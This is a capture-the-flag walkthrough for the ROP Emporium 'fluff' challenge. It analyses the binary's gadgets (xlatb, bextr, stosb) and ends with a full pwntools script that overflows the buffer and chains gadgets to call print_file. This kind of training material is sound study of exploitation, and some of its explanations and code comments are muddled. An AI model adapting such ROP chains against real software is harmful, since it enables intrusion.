ROP Emporium Pt. 6: fluff

SPOILER WARNING: This page will contain potential spoilers, so consider that before continuing ROP Emporium is a collection of challenges designed to teach return-oriented programming (ROP) techniques by slowly introducing new concepts and increasing difficulty. If you're looking for a spoiler-free guide, check out the one included on their website. This next challenge is a little less like the last one and more like write4, where we have a print_file() function and we need to write our string into memory and call it. The difference here, is that fluff is supposed to be a much more sparse binary with much more questionable gadgets. We can start, as usual, by determining the layout of the file $ rabin2 -i ./fluff [Imports] nth vaddr bind type lib name ――――――――――――――――――――――――――――――――――――― 1 0x00400500 GLOBAL FUNC pwnme 2 ---------- GLOBAL FUNC __libc_start_main 3 ---------- WEAK NOTYPE __gmon_start__ 4 0x00400510 GLOBAL FUNC print_file $ rabin2 -S ./fluff | grep rw 18 0x00000df0 0x8 0x00600df0 0x8 -rw- INIT_ARRAY .init_array 19 0x00000df8 0x8 0x00600df8 0x8 -rw- FINI_ARRAY .fini_array 20 0x00000e00 0x1f0 0x00600e00 0x1f0 -rw- DYNAMIC .dynamic 21 0x00000ff0 0x10 0x00600ff0 0x10 -rw- PROGBITS .got 22 0x00001000 0x28 0x00601000 0x28 -rw- PROGBITS .got.plt 23 0x00001028 0x10 0x00601028 0x10 -rw- PROGBITS .data 24 0x00001038 0x0 0x00601038 0x8 -rw- NOBITS .bss As we'll see, it's pretty similar to the last couple as far as that goes. We'll then work backwords to figure out how we need to construct our chain. To start, we'll want something to move our "flag.txt" to our rw section. Checking ropper normally doesn't yield much, as there's a bunch of garbage and not a lot of particularly simple gadgets to use, but that was expected. We do have a pop rdi gadget that will likely be useful for calling our print_file() function later though. 0x00000000004006a3: pop rdi; ret; However, there's one more hint on the page: fluff.html Some useful(?) gadgets are available at the questionableGadgets symbol. We'll then check that out in radare. [0x00400628]> pd ;-- questionableGadgets: ;-- rip: 0x00400628 d7 xlatb 0x00400629 c3 ret 0x0040062a 5a pop rdx 0x0040062b 59 pop rcx 0x0040062c 4881c1f23e.. add rcx, 0x3ef2 0x00400633 c4e2e8f7d9 bextr rbx, rcx, rdx 0x00400638 c3 ret 0x00400639 aa stosb byte [rdi], al 0x0040063a c3 ret 0x0040063b 0f1f440000 nop dword [rax + rax] ; DATA XREF from entry0 @ 0x400536(r) There are a couple gadgets here that stand out as different from the rest and those are xlatb, bextr, and stosb. xlatb looks up a byte in a table in memory (RBX) indexed by AL, and copies the table back to AL. bextr extracts bits, specifying source, index and length. In this case, the source is RBX, index is RCX and length is RDX. stosb stores a byte from the AL register to a location in memory, in this case, rdi. Working backwards as the hint suggests: The print_file() function, as usual, uses the rdi register, to control the rdi register, we can use stosb, in order to do that we need to control the AL register, which we can do with xlatb, to use xlatb we need to control RBX, and we can do that with bextr. Putting together the final script took a lot more troubleshooting and also google searches than the last ones. from pwn import * e = ELF('fluff') p = process(e.path) context(arch='amd64', os='linux', endian='little') junk = b'A' * 40 flag = (b"flag.txt") data = 0x00601028 # .data print_file = p64(0x00400510) # print_file() xlatb = p64(0x00400628) # xlatb pop_rdx_rcx_add_rcx_bextr = p64(0x0040062a) # pop rdx; pop rcx; add rcx, # 0x3ef2; bextr rbx, rcx, rdx; bextr = p64(0x00400633) # bextr rbx, rcx, rdx stosb = p64(0x00400639) # stosb byte [rdi], al pop_rdi = p64(0x004006a3) # pop rdi # make "flag.txt" an array of # addresses flag_chars = [] for i in flag: # address of character + offset addr = hex(read('fluff').find(i) + e.address) flag_chars.append(addr) # add to array payload = junk for i, flag_chars in enumerate(flag_chars): if(i == 0): # set current rax value (previous rax = 0xb # value to be set) else: rax = flag[i - 1] # after first run, previous value payload += pop_rdx_rcx_add_rcx_bextr payload += p64(0x4000) # length of 40 (64 bits) payload += p64(int(flag_chars, 16) - rax - 0x3ef2) payload += xlatb # char index - rax - 0x3ef2 payload += pop_rdi # (added junk from gadget) payload += p64(data + i) # write to data + char index payload += stosb payload += pop_rdi # print file payload += p64(data) payload += print_file print(payload) p.sendline(payload) log.info(p.clean())